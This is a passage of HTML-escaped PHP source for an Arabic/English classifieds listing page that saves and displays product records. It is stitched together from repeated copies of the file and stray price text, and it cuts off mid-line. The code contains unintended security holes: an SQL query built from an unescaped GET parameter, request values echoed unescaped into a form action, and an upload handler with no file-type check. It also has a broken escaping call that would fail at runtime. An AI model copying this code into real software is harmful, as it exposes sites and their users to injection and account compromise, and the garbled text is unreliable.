for=&quot;&#039; . htmlspecialchars($field) . &#039;&quot;&gt;&#039; . htmlspecialchars($label) . &#039;:&lt;/label&gt;&#039;; $formHtml .= &#039;&lt;input type=&quot;text&quot; id=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; class=&quot;form-control&quot; name=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; placeholder=&quot;&#039; . htmlspecialchars($label) . &#039;&quot;&gt;&lt;br&gt;&lt;br&gt;&#039;; }else if ($field == &quot;icon&quot;){ // to avoid displaying the icon as an input $formHtml .= &#039;&lt;img src=&quot;&#039;.htmlspecialchars($label).&#039;&quot; alt=&quot;&#039;.htmlspecialchars($label).&#039;&quot; /&gt;&lt;br&gt;&lt;br&gt;&#039;; } } return $formHtml; } ?&gt; &lt;?php if ($accessCat): ?&gt; &lt;?php // Split the selected category into category and subcategory list($category, $subcategory) = explode(&#039;/&#039;, $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?&gt; &lt;h2&gt;&lt;?= htmlspecialchars($subcategory) ?&gt;&lt;/h2&gt; &lt;div method=&quot;post&quot; class=&quot;_carContainer image-preview&quot;&gt; &lt;?= generateFormFields($fields) ?&gt; &lt;!-- input type=&quot;submit&quot; value=&quot;إرسال&quot; --&gt; &lt;/div&gt; &lt;?php } else { echo &#039;&lt;p class=&quot;error-message&quot;&gt;الفئة أو التصنيف المحدد غير موجود.&lt;/p&gt;&#039;; } ?&gt; &lt;?php endif; ?&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;berid&quot;&gt;Berid:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;berid&quot; name=&quot;berid&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;hetef&quot;&gt;Hetef:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;hetef&quot; name=&quot;hetef&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;country&quot;&gt;Country:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;country&quot; name=&quot;country&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;location_city&quot;&gt;City:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;location_city&quot; name=&quot;location_city&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;price&quot;&gt;Price:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;price&quot; name=&quot;price&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;el3omla&quot;&gt;Currency:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;el3omla&quot; name=&quot;el3omla&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;description&quot;&gt;Description:&lt;/label&gt; &lt;textarea id=&quot;description&quot; name=&quot;description&quot; class=&quot;form-control&quot; rows=&quot;4&quot; required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;quantity&quot;&gt;Quantity:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;quantity&quot; name=&quot;quantity&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;yearModel&quot;&gt;Year:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;yearModel&quot; name=&quot;yearModel&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;!-- div class=&quot;form-group&quot;&gt; &lt;label for=&quot;views&quot;&gt;Views:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;views&quot; name=&quot;views&quot; class=&quot;form-control&quot; required&gt; &lt;/div --&gt; &lt;!-- div class=&quot;form-group&quot;&gt; &lt;label for=&quot;attributes&quot;&gt;Attributes (JSON):&lt;/label&gt; &lt;textarea id=&quot;attributes&quot; name=&quot;attributes&quot; class=&quot;form-control&quot; rows=&quot;4&quot; required&gt;&lt;/textarea&gt; &lt;/div --&gt; &lt;div class=&quot;form-group form-check&quot;&gt; &lt;input type=&quot;checkbox&quot; id=&quot;delivery_available&quot; name=&quot;delivery_available&quot; class=&quot;form-check-input&quot; value=&quot;1&quot;&gt; &lt;label for=&quot;delivery_available&quot; class=&quot;form-check-label&quot;&gt;&lt;?php echo $_SESSION[&#039;property19&#039;]; ?&gt;Delivery Available&lt;/label&gt; &lt;/div&gt; &lt;div class=&quot;form-group form-check&quot;&gt; &lt;input type=&quot;checkbox&quot; id=&quot;negotiable_price&quot; name=&quot;negotiable_price&quot; class=&quot;form-check-input&quot; value=&quot;1&quot;&gt; &lt;label for=&quot;negotiable_price&quot; class=&quot;form-check-label&quot;&gt;&lt;?php echo $_SESSION[&#039;property16&#039;]; ?&gt;Negotiable Price&lt;/label&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;status&quot;&gt;Status:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;status&quot; name=&quot;status&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;collector&quot;&gt;Collector:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;collector&quot; name=&quot;collector&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;input type=&quot;hidden&quot; name=&quot;form_html&quot; value=&quot;&lt;?php echo htmlspecialchars($formHtml); ?&gt;&quot;&gt; &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;&lt;?php echo $_SESSION[&#039;goNUploadNsell&#039;]; ?&gt;&lt;/button&gt; &lt;/form&gt; &lt;h2&gt;Existing Records&lt;/h2&gt; &lt;table class=&quot;table&quot;&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;ID&lt;/th&gt; &lt;th&gt;Images&lt;/th&gt; &lt;th&gt;Category&lt;/th&gt; &lt;th&gt;Attributes / Delivery Available / Negotiable Price&lt;/th&gt; &lt;th&gt;Status&lt;/th&gt; &lt;th&gt;Collector&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php while ($row = $result-&gt;fetch_assoc()): ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;idBathae3i&#039;]); ?&gt;&lt;/td&gt; &lt;td style=&quot;max-width:300px;&quot;&gt; &lt;?php $images = explode(&#039;,&#039;, $row[&#039;images&#039;]); foreach ($images as $image): ?&gt; &lt;img src=&quot;&lt;?php echo htmlspecialchars($image); ?&gt;&quot; alt=&quot;Image&quot; style=&quot;max-width: 100px; margin-right: 5px;&quot;&gt; &lt;?php endforeach; ?&gt; &lt;/td&gt; &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;category&#039;]); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php /*echo htmlspecialchars($row[&#039;attributes&#039;]);*/ ?&gt; &lt;?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row[&#039;attributes&#039;], true); ?&gt; &lt;div&gt; &lt;?php $formHtml = $attributes[&#039;form_html&#039;]; $formData = $attributes[&#039;data&#039;]; ?&gt; &lt;div class=&quot;details-container&quot;&gt; &lt;div class=&quot;data-display details-list&quot;&gt; &lt;?php foreach ($formData as $key =&gt; $value): ?&gt; &lt;?php // Find the translation for the current key $translation = &#039;&#039;; //foreach ($_SESSION[&#039;translations&#039;][&#039;category&#039;][&#039;vehicles&#039;][&#039;cars&#039;] as $category) { foreach ($_SESSION[&#039;translations&#039;] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category[&#039;vehicles&#039;][$key])) { $translation = $category[$key]; break; } } ?&gt; &lt;li&gt;&lt;strong&gt;&lt;font color=brown class=_vkey&gt;&lt;?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, &#039;UTF-8&#039;); ?&gt;:&lt;/font&gt;&lt;/strong&gt; &lt;?php echo htmlspecialchars($value, ENT_QUOTES, &#039;UTF-8&#039;); ?&gt;&lt;/li&gt; &lt;?php endforeach; ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;br /&gt;&lt;?php echo $_SESSION[&#039;property19&#039;]; ?&gt;: &lt;?php echo $row[&#039;delivery_available&#039;] ? $_SESSION[&#039;yes&#039;] : $_SESSION[&#039;no&#039;] ; ?&gt;&lt;br /&gt;&lt;?php echo $_SESSION[&#039;property16&#039;]; ?&gt;: &lt;?php echo $row[&#039;negotiable_price&#039;] ? $_SESSION[&#039;yes&#039;] : $_SESSION[&#039;no&#039;]; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;status&#039;]); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;collector&#039;]); ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php endwhile; ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;script&gt; document.querySelector(&#039;#images&#039;).addEventListener(&#039;change&#039;, function() { const preview = document.querySelector(&#039;#image-preview&#039;); preview.innerHTML = &#039;&#039;; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement(&#039;img&#039;); img.src = e.target.result; img.alt = &#039;Image Preview&#039;; preview.appendChild(img); }; reader.readAsDataURL(file); } }); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;

OMR1458.00
costume 40OMR

costume 40OMR

&lt;?php include_once &quot;settings.php&quot;; // Ensure this file sets up $connessione (database connection) //include &#039;ar.php&#039;; if(isset($_GET[&quot;accessCat&quot;])) $_SESSION[&quot;ad&quot;]=$_GET[&quot;accessCat&quot;]; //for the cntrol to dsply ads &amp;&amp; (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET[&#039;bId&#039;] ?? $_GET[&#039;bId&#039;]); // Check if the &#039;accessCat&#039; GET parameter is set $accessCat = isset($_GET[&#039;accessCat&#039;]) ? $_GET[&#039;accessCat&#039;] : &#039;&#039;; // Define available categories and their fields $categories = $_SESSION[&#039;translations&#039;][&#039;category&#039;]; // Process form submission if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) { $category = $connessione-&gt;real_escape_string($_POST[&#039;accessCat&#039;] ?? $_GET[&#039;accessCat&#039;]); $title = $connessione-&gt;real_escape_string($_POST[&#039;title&#039;] ?? &#039;&#039;); $berid = $connessione-&gt;real_escape_string($_POST[&#039;berid&#039;] ?? &#039;&#039;); $hetef = $connessione-&gt;real_escape_string($_POST[&#039;hetef&#039;] ?? &#039;&#039;); $country = $connessione-&gt;real_escape_string($_POST[&#039;country&#039;] ?? &#039;&#039;); $location_city = $connessione-&gt;real_escape_string($_POST[&#039;location_city&#039;] ?? &#039;&#039;); $price = $connessione-&gt;real_escape_string($_POST[&#039;price&#039;] ?? &#039;&#039;); $el3omla = $connessione-&gt;real_escape_string($_POST[&#039;el3omla&#039;] ?? &#039;&#039;); $description = $connessione-&gt;htmlspecialchars(real_escape_string($_POST[&#039;description&#039;] ?? &#039;&#039;)); $quantity = $connessione-&gt;real_escape_string($_POST[&#039;quantity&#039;] ?? &#039;&#039;); $yearModel = $connessione-&gt;real_escape_string($_POST[&#039;yearModel&#039;] ?? $_GET[&#039;year&#039;]); $views = intval($_POST[&#039;views&#039;] ?? 0); //$attributes = $connessione-&gt;real_escape_string($_POST[&#039;attributes&#039;] ?? &#039;&#039;); // Collect prod attributes data with default values $attributes__ = [ &#039;brand&#039; =&gt; $_GET[&#039;brand&#039;] ?? &#039;&#039;, &#039;year&#039; =&gt; $yearModel ?? &#039;&#039;, &#039;regional_specifications&#039; =&gt; $_POST[&#039;property3&#039;] ?? &#039;&#039;, &#039;odometer&#039; =&gt; $_POST[&#039;property4&#039;] ?? &#039;&#039;, &#039;cylinders&#039; =&gt; $_POST[&#039;property5&#039;] ?? &#039;&#039;, &#039;transmission&#039; =&gt; $_POST[&#039;property6&#039;] ?? &#039;&#039;, &#039;keys&#039; =&gt; $_POST[&#039;property7&#039;] ?? &#039;&#039;, &#039;full_options&#039; =&gt; $_POST[&#039;property8&#039;] ?? &#039;&#039;, &#039;fuel&#039; =&gt; $_POST[&#039;property9&#039;] ?? &#039;&#039;, &#039;wheel_drive&#039; =&gt; $_POST[&#039;property10&#039;] ?? &#039;&#039;, &#039;exterior_color&#039; =&gt; $_POST[&#039;property11&#039;] ?? &#039;&#039;, &#039;interior_color&#039; =&gt; $_POST[&#039;property12&#039;] ?? &#039;&#039;, &#039;maintenance_report&#039; =&gt; $_POST[&#039;property13&#039;] ?? &#039;&#039;, &#039;car_status&#039; =&gt; $_POST[&#039;property17&#039;] ?? &#039;&#039; ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST[&#039;form_html&#039;]) ? $_POST[&#039;form_html&#039;] : &#039;&#039;; // Collect and sanitize form data, excluding specific keys foreach ($_POST as $key =&gt; $value) { // Exclude specific fields from being added to formData if ($key !== &#039;form_html&#039; &amp;&amp; !in_array($key, [&#039;berid&#039;, &#039;hetef&#039;, &#039;country&#039;, &#039;location_city&#039;, &#039;price&#039;, &#039;el3omla&#039;, &#039;description&#039;, &#039;quantity&#039;, &#039;yearModel&#039;, &#039;delivery_available&#039;, &#039;negotiable_price&#039;, &#039;status&#039;, &#039;collector&#039;])) { $formData[$key] = htmlspecialchars($value, ENT_QUOTES, &#039;UTF-8&#039;); } } // Build the JSON object for the attributes field $attributes = [ &#039;form_html&#039; =&gt; $formHtml, &#039;data&#039; =&gt; $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione-&gt;real_escape_string($attributesJson); //$attributes = $connessione-&gt;real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST[&#039;delivery_available&#039;]) ? 1 : 0; $negotiable_price = isset($_POST[&#039;negotiable_price&#039;]) ? 1 : 0; $status = $connessione-&gt;real_escape_string($_POST[&#039;status&#039;] ?? &#039;&#039;); $collector = $connessione-&gt;real_escape_string($_POST[&#039;collector&#039;] ?? &#039;&#039;); // Handle file uploads $images = []; if (isset($_FILES[&#039;images&#039;]) &amp;&amp; !empty($_FILES[&#039;images&#039;][&#039;name&#039;][0])) { $uploadDir = &#039;uploads/&#039;; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES[&#039;images&#039;][&#039;tmp_name&#039;] as $key =&gt; $tmp_name) { $fileName = basename($_FILES[&#039;images&#039;][&#039;name&#039;][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(&#039;,&#039;, $images); try { $sql = mysqli_query($connessione, &quot;INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, &#039;$imagesList&#039;, &#039;$category&#039;, &#039;$title&#039;, &#039;$berid&#039;, &#039;$hetef&#039;, &#039;$country&#039;, &#039;$location_city&#039;, &#039;$price&#039;, &#039;$el3omla&#039;, &#039;$description&#039;, &#039;$quantity&#039;, &#039;&quot;.time().&quot;&#039;, $views, &#039;$attributes&#039;, $delivery_available, $negotiable_price, &#039;$status&#039;, &#039;$collector&#039; )&quot;); if (!$sql) { die(&#039;Error: &#039; . htmlspecialchars($connessione-&gt;error)); } } catch(Exception $e) { echo &quot;Exception: &quot; . $e-&gt;getMessage(); } } // Retrieve records from the database $sql = &quot;SELECT * FROM `bathae3i` WHERE idBathae3i = &#039;&quot; . $bId . &quot;&#039;&quot;; $result = $connessione-&gt;query($sql); ?&gt; &lt;!DOCTYPE html&gt; &lt;html &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;lang=ar dir=rtl&quot;; else echo&quot;lang=en dir=ltr&quot;; ?&gt;&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot;&gt; &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt; &lt;title&gt;Bathae3i Management&lt;/title&gt; &lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__&quot;&gt; &lt;style&gt; body { &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;lang=ar dir=rtl&quot;; else echo&quot;lang=en dir=ltr&quot;; ?&gt; background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: &#039;???? &#039;; position: absolute; &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;right: 0px;&quot;; else echo&quot;left: 0px;&quot;; ?&gt; top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;margin-left: 40px;&quot;; else echo&quot;margin-right: 40px;&quot;; ?&gt; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div class=&quot;container&quot;&gt; &lt;h1&gt;Insert New Record&lt;/h1&gt; &lt;form method=&quot;post&quot; action=&quot;?accessCat=&lt;?php echo $_GET[&#039;accessCat&#039;]; ?&gt;&amp;brand=&lt;?php echo $_GET[&#039;brand&#039;]; ?&gt;&amp;year=&lt;?php echo $_GET[&#039;year&#039;]; ?&gt;&quot; enctype=&quot;multipart/form-data&quot;&gt; &lt;!--div class=&quot;form-group&quot;&gt; &lt;label for=&quot;category&quot;&gt;Category:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;category&quot; name=&quot;accessCat&quot; class=&quot;form-control&quot; required&gt; &lt;/div --&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;images&quot; class=&quot;custom-file-upload&quot;&gt; &lt;span&gt;&lt;?php echo $_SESSION[&quot;imageUpload&quot;]; ?&gt;&lt;/span&gt; &lt;/label&gt; &lt;input type=&quot;file&quot; id=&quot;images&quot; name=&quot;images[]&quot; class=&quot;custom-file-input&quot; accept=&quot;image/*&quot; multiple&gt; &lt;div class=&quot;image-preview&quot; id=&quot;image-preview&quot;&gt; &lt;div class=&quot;placeholder&quot;&gt;&lt;?php echo $_SESSION[&quot;imagesselected&quot;]; ?&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;title&quot;&gt;Title:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;title&quot; name=&quot;title&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;?php if($_GET[&quot;accessCat&quot;]==&quot;cars&quot;)include_once&quot;_carsSpecificities.php&quot;; ?&gt; &lt;?php //include_once&quot;_vpcategoriesForms.php&quot;; // Function to generate form fields function generateFormFields($fields) { $formHtml = &#039;&#039;; foreach ($fields as $field =&gt; $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= &#039;&lt;label for=&quot;&#039; . htmlspecialchars($field) . &#039;&quot;&gt;&#039; . htmlspecialchars($label[&#039;type&#039;]) . &#039;:&lt;/label&gt;&#039;; $formHtml .= &#039;&lt;select id=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; name=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; class=&quot;form-control&quot;&gt;&#039;; foreach ($label as $subValue =&gt; $subLabel) { if ($subValue !== &#039;type&#039;) { // Skip the &#039;type&#039; key $formHtml .= &#039;&lt;option value=&quot;&#039; . htmlspecialchars($subValue) . &#039;&quot;&gt;&#039; . htmlspecialchars($subLabel) . &#039;&lt;/option&gt;&#039;; } } $formHtml .= &#039;&lt;/select&gt;&lt;br&gt;&lt;br&gt;&#039;; } else { $formHtml .= &#039;&lt;label for=&quot;&#039; . htmlspecialchars($field) . &#039;&quot;&gt;&#039; . htmlspecialchars($label) . &#039;:&lt;/label&gt;&#039;; $formHtml .= &#039;&lt;input type=&quot;text&quot; id=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; class=&quot;form-control&quot; name=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; placeholder=&quot;&#039; . htmlspecialchars($label) . &#039;&quot;&gt;&lt;br&gt;&lt;br&gt;&#039;; } } return $formHtml; } ?&gt; &lt;?php if ($accessCat): ?&gt; &lt;?php // Split the selected category into category and subcategory list($category, $subcategory) = explode(&#039;/&#039;, $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?&gt; &lt;h2&gt;&lt;?= htmlspecialchars($subcategory) ?&gt;&lt;/h2&gt; &lt;div method=&quot;post&quot; class=&quot;_carContainer image-preview&quot;&gt; &lt;?= generateFormFields($fields) ?&gt; &lt;!-- input type=&quot;submit&quot; value=&quot;إرسال&quot; --&gt; &lt;/div&gt; &lt;?php } else { echo &#039;&lt;p class=&quot;error-message&quot;&gt;الفئة أو التصنيف المحدد غير موجود.&lt;/p&gt;&#039;; } ?&gt; &lt;?php endif; ?&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;berid&quot;&gt;Berid:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;berid&quot; name=&quot;berid&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;hetef&quot;&gt;Hetef:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;hetef&quot; name=&quot;hetef&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;country&quot;&gt;Country:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;country&quot; name=&quot;country&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;location_city&quot;&gt;City:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;location_city&quot; name=&quot;location_city&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;price&quot;&gt;Price:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;price&quot; name=&quot;price&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;el3omla&quot;&gt;Currency:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;el3omla&quot; name=&quot;el3omla&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;description&quot;&gt;Description:&lt;/label&gt; &lt;textarea id=&quot;description&quot; name=&quot;description&quot; class=&quot;form-control&quot; rows=&quot;4&quot; required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;quantity&quot;&gt;Quantity:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;quantity&quot; name=&quot;quantity&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;yearModel&quot;&gt;Year:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;yearModel&quot; name=&quot;yearModel&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;!-- div class=&quot;form-group&quot;&gt; &lt;label for=&quot;views&quot;&gt;Views:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;views&quot; name=&quot;views&quot; class=&quot;form-control&quot; required&gt; &lt;/div --&gt; &lt;!-- div class=&quot;form-group&quot;&gt; &lt;label for=&quot;attributes&quot;&gt;Attributes (JSON):&lt;/label&gt; &lt;textarea id=&quot;attributes&quot; name=&quot;attributes&quot; class=&quot;form-control&quot; rows=&quot;4&quot; required&gt;&lt;/textarea&gt; &lt;/div --&gt; &lt;div class=&quot;form-group form-check&quot;&gt; &lt;input type=&quot;checkbox&quot; id=&quot;delivery_available&quot; name=&quot;delivery_available&quot; class=&quot;form-check-input&quot; value=&quot;1&quot;&gt; &lt;label for=&quot;delivery_available&quot; class=&quot;form-check-label&quot;&gt;&lt;?php echo $_SESSION[&#039;property19&#039;]; ?&gt;Delivery Available&lt;/label&gt; &lt;/div&gt; &lt;div class=&quot;form-group form-check&quot;&gt; &lt;input type=&quot;checkbox&quot; id=&quot;negotiable_price&quot; name=&quot;negotiable_price&quot; class=&quot;form-check-input&quot; value=&quot;1&quot;&gt; &lt;label for=&quot;negotiable_price&quot; class=&quot;form-check-label&quot;&gt;&lt;?php echo $_SESSION[&#039;property16&#039;]; ?&gt;Negotiable Price&lt;/label&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;status&quot;&gt;Status:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;status&quot; name=&quot;status&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;collector&quot;&gt;Collector:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;collector&quot; name=&quot;collector&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;input type=&quot;hidden&quot; name=&quot;form_html&quot; value=&quot;&lt;?php echo htmlspecialchars($formHtml); ?&gt;&quot;&gt; &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;&lt;?php echo $_SESSION[&#039;goNUploadNsell&#039;]; ?&gt;&lt;/button&gt; &lt;/form&gt; &lt;h2&gt;Existing Records&lt;/h2&gt; &lt;table class=&quot;table&quot;&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;ID&lt;/th&gt; &lt;th&gt;Images&lt;/th&gt; &lt;th&gt;Category&lt;/th&gt; &lt;th&gt;Attributes / Delivery Available / Negotiable Price&lt;/th&gt; &lt;th&gt;Status&lt;/th&gt; &lt;th&gt;Collector&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php while ($row = $result-&gt;fetch_assoc()): ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;idBathae3i&#039;]); ?&gt;&lt;/td&gt; &lt;td style=&quot;max-width:300px;&quot;&gt; &lt;?php $images = explode(&#039;,&#039;, 